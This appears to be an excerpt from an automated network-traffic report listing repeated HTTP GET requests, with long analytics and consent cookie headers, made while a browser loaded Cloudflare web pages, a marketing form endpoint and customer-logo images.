OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttp
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_t=1729259312041&_biz_i=Website%20Under%20Attack%3F%20%7C%20Get%2024%2F7%20Emergency%20Support%20%7C%20Cloudflare&_biz_n=4&rnd=690331&cdn_o=a&_biz_z=1729259312041 HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/1639 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphi
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/OMwO1Fr8BxHVum0iBbatc/979c1807f5810edc903d4b07c18e0cb0/logo_ibm_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%25
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/6VUhUMEcvn3L3j88LttHzC/b2cf2b702aad874db9cb61b0028e9c40/logo_garmin_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/6XVeELky7fceWRpfBvN8qr/4e13aa3d8dd73e1f091f3de966fdc9cb/logo_shopify_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%2525
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/1AsuJijKk8EMH5s1ae56nx/b13406881aa864b7e17b2233a0d090ef/logo_labcorp_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%2525
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/2TfcZ86qvZor2xtI2z4Vvr/ef54112582296119f4296869c34ba025/logo_23andme_color_32px-wrapper.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%2
